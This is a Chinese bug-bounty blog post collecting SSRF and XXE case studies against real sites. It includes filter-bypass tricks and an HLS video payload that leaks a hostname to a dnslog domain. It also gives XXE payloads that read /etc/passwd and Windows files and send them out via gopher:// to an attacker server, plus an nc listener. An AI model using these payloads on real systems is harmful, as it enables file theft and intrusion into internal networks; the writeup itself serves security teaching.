SRC挖洞之SSRF与XXE漏洞的实战案例

前言

前面一篇文章 SRC挖洞之文件上传/下载漏洞的实战案例 介绍了 任意文件下载漏洞 和 任意文件上传漏洞,本文收集讲述下 SSRF 漏洞和 XXE 漏洞的 SRC 和漏洞平台的一些实战案例。关于这两个漏洞的一些介绍和检测方法,读者可阅读我的另一篇博文:浅析DNSlog在渗透测试中的实战技巧

【严正声明】本文所述的所有漏洞案例,厂商均已成功修复,同时对应的关键信息均已打码!网络安全十八双刃剑,请各位读者遵纪守法,共同维护良好健康的网络环境!

SSRF漏洞

关于 SSRF 漏洞的基础原理和知识,可以看我的另一篇博文进行了解:Web安全-SSRF漏洞,SSRF 漏洞有时候会被厂商当作鸡肋的漏洞,但有时候却能产生巨大危害,具体危害等级需要看是否能有效利用。

案例1 某翻译网SSRF可通内网

1、某翻译网在输入框参数存在 SSRF 漏洞:
在这里插入图片描述2、内网主机服务探测:
在这里插入图片描述

案例2 某翻译网SSRF防护绕过

1、针对的是上面案例 1 同家厂商,修复完成后存在绕过,原始 Payload 无效:
在这里插入图片描述2、使用 Payload:http://10.100.21.7.xip.io 绕过:
在这里插入图片描述

案例3 某站SSRF读取本地文件

1、某企业废弃的站点存在 SSRF 可读取本地文件:
在这里插入图片描述2、也可探测内网:
在这里插入图片描述

案例4 某站视频解析导致SSRF

1、某站存在上传视频的功能:
在这里插入图片描述
2、构造恶意视频 Payload,由于该功能处对视频有最小文件大小要求,后续可用任意内容填充:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://pictest.66ae2b.dnslog.info|file:///proc/sys/kernel/hostname
#EXT-X-ENDLIST
...

3、上传视频并让服务端进行解码,解码过程中解析漏洞导致 SSRF,Cloudeye 的日志如下:
在这里插入图片描述

案例5 某狗主站SSRF多种绕过

1、有简单的过滤,比如会检测IP地址是否为内网 IP:
在这里插入图片描述2、可以将 IP 转换为 10 进制后绕过;
在这里插入图片描述3、当输入 XXgou-inc 的时候也会检测:
在这里插入图片描述4、通过生成短域名就能绕过(短域名在线生成转换网址):
在这里插入图片描述

案例6 某乎网SSRF可探测内网

1、某乎回答问题的时候,输入网址将自动被转换为标题,比如输入http://wooyun.org/,将会变成:
在这里插入图片描述2、明显是后台进行了请求,进行抓包:
在这里插入图片描述3、这里如果控制不好请求的对象,将造成 SSRF 漏洞,请求到一些内网地址或内部人员才能访问的地址,导致敏感信息泄露。由于我找不到内网网段,就以 127.0.0.1 为例,www.127.0.0.1.xip.io 是解析到 127.0.0.1 的,请求可以发现 get 成功:
在这里插入图片描述4、包括我正常访问不到的网址https://status.XXX.com/login,如下图:
在这里插入图片描述

XXE漏洞

关于 XXE 漏洞的基础知识和原理,可以看我的另一篇博文:Web安全-XXE漏洞

案例1 用友某软件存在XXE漏洞

1、用友某软件,找个接口,先提交请求:
在这里插入图片描述2、该请求存在 XXE 漏洞:
在这里插入图片描述

案例2 XFire 开发组件XXE漏洞

1、XFire 是流行的 Webservice 开发组件,其在 invoke 时使用了 STAX 解析 XML 导致 XML 实体注入漏洞。常见的 URL 形式为:http://XXX.com/services/IVerification?wsdl,如下图所示:
在这里插入图片描述
2、自己定义 XML 文件如下:

<!ENTITY % a SYSTEM "file:///"> 
<!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://ip:port/%a;'>"> %b; %c;

将 xml 文件保存在 vps 中,为http://ip:port/1.xml,然后构造如下 Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://ip:port/1.xml">%remote;]>

可成功利用 XXE 漏洞读取服务器文件:
在这里插入图片描述
3、我们可以修改外部加载的 xml 文件为任意目录路径或者是特定的文件,以读取/etc/passwd为例,对应 xml 文件为:

<!ENTITY % a SYSTEM "file:///etc/passwd"> 
<!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://ip:port/%a;'>"> %b; %c

运行结果如下:

案例3 博客搬家功能处XXE漏洞

1、某博客网站提供博客搬家的功能,即可以通过导入 XML 添加博客。链接:http://XXXblogs.com/Import.aspx?catid=1,验证 XXE 漏洞的 Payload:

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!DOCTYPE note [
	<!ENTITY test SYSTEM "file:///C://WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS">
]>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
	<channel>
		<title>博客园-阔爱的贝贝</title>
		<link>http://www.cnblogs.com/kuoaidebb/</link>
		<description>一枚想当黑客的程序媛</description>
		<language>zh-cn</language>
		<lastBuildDate>Sun, 03 May 2015 11:19:00 GMT</lastBuildDate>
		<pubDate>Sun, 03 May 2015 11:19:00 GMT</pubDate>
		<ttl>60</ttl>
		<item>
			<title>test]]&gt;&test;</title>
			<link>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</link>
			<dc:creator>阔爱的贝贝</dc:creator>
			<author>阔爱的贝贝</author>
			<pubDate>Sun, 03 May 2015 11:13:00 GMT</pubDate>
			<guid>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</guid>
			<description><![CDATA[<p>]]&gt;</p>]]></description>
		</item>
	</channel>
</rss>

可成功读取 hosts 文件:
在这里插入图片描述
2、验证 F 盘是否存在,Payload:

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!DOCTYPE note [
	<!ENTITY test SYSTEM "file:///F://test">
]>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
	<channel>
		<title>博客园-阔爱的贝贝</title>
		<link>http://www.cnblogs.com/kuoaidebb/</link>
		<description>一枚想当黑客的程序媛</description>
		<language>zh-cn</language>
		<lastBuildDate>Sun, 03 May 2015 11:19:00 GMT</lastBuildDate>
		<pubDate>Sun, 03 May 2015 11:19:00 GMT</pubDate>
		<ttl>60</ttl>
		<item>
			<title>test]]&gt;&test;</title>
			<link>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</link>
			<dc:creator>阔爱的贝贝</dc:creator>
			<author>阔爱的贝贝</author>
			<pubDate>Sun, 03 May 2015 11:13:00 GMT</pubDate>
			<guid>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</guid>
			<description><![CDATA[<p>]]&gt;</p>]]></description>
		</item>
	</channel>
</rss>

结果如下:
在这里插入图片描述

案例4 用友某软件存在XXE盲注

1、用友某软件在登陆及重置密码处理时,使用 xml 将用户名、密码及验证码传递给后端进行解析处理,而后端对传进来的 xml 文件并未作严谨验证导致,可以传进构造的恶意 xml 文件进行查看文件:
在这里插入图片描述2、登陆抓包:
在这里插入图片描述
完整数据包如下:

POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: ehr.mc2.cn
Content-Length: 975
Pragma: no-cache
Origin: http://ehr.mc2.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ehr.mc2.cn/hrss/login.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=1DDABBA58198490936C35195E361359A.server; user=123123; JSESSIONID=96A12531BB510FF28B84E523AECD5BDC.server
__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=%3Crpc%20transaction%3D%

3、将 pos t内容 unescape:

__type=updateData&__viewInstanceId=nc.bs.hrss.login.Login~nc.bs.hrss.login.LoginViewModel&__xml=<rpc transaction="10" method="checkPwd"><def><dataset type="Custom" id="dsLogin"><f name="HRSS_LOGIN_USER"></f><f name="HRSS_LOGIN_USER_ENCODED"></f><f name="HRSS_LOGIN_PSWD"></f><f name="HRSS_LOGIN_IDCODE"></f><f name="HRSS_DATA_SOURCE"></f><f name="ACCOUNT_NAME"></f><f name="HRSS_LANG_CODE"></f></dataset></def><data><rs dataset="dsLogin"><r id="598" state="insert"><n><v>123123</v><v>123123</v><v>123123</v><v>9955</v><v>MCHR</v><v>%u7F8E%u627F%u96C6%u56E2</v><v>simpchn</v></n></r></rs></data><vps><p name="DEFAULT_DATA_SOURCE">MCHR</p></vps></rpc>&1433050683284

4、替换整个 __xml 参数的内容为:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>%26xxe;</foo>

尝试读取 Linux 文件系统的 /etc/passwd,提交后效果:
在这里插入图片描述

5、上面读取不存在的文件会回显找不到路径,下面读 win.ini 成功,确定存在 XXE 盲注:
在这里插入图片描述6、接下来我们尝试发送一个 get 请求,来请求我映射到公网 ip 的 80 端口。本地nc -lvvp 80,再通过路由器做 NAT 配置:
在这里插入图片描述
提交以下 Payload,成功收到连接请求:
在这里插入图片描述到这里我们可以证明这个 blind xxe 漏洞存在。

总结

渗透测试过程中要仔细观察每个数据报文,对疑似的功能点均进行测试!文末补充几个这两天看到的有意思的几个 SRC 实战案例:

  1. 4位数短信验证码的漏洞:某平台后台系统存在任意账号密码重置漏洞
  2. 4位数短信验证码的漏洞:浅析一次任意用户注册漏洞挖掘过程
  3. CSRF漏洞如何结合社工变为致命漏洞:实战 | CSRF拿下盗图狗后台
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值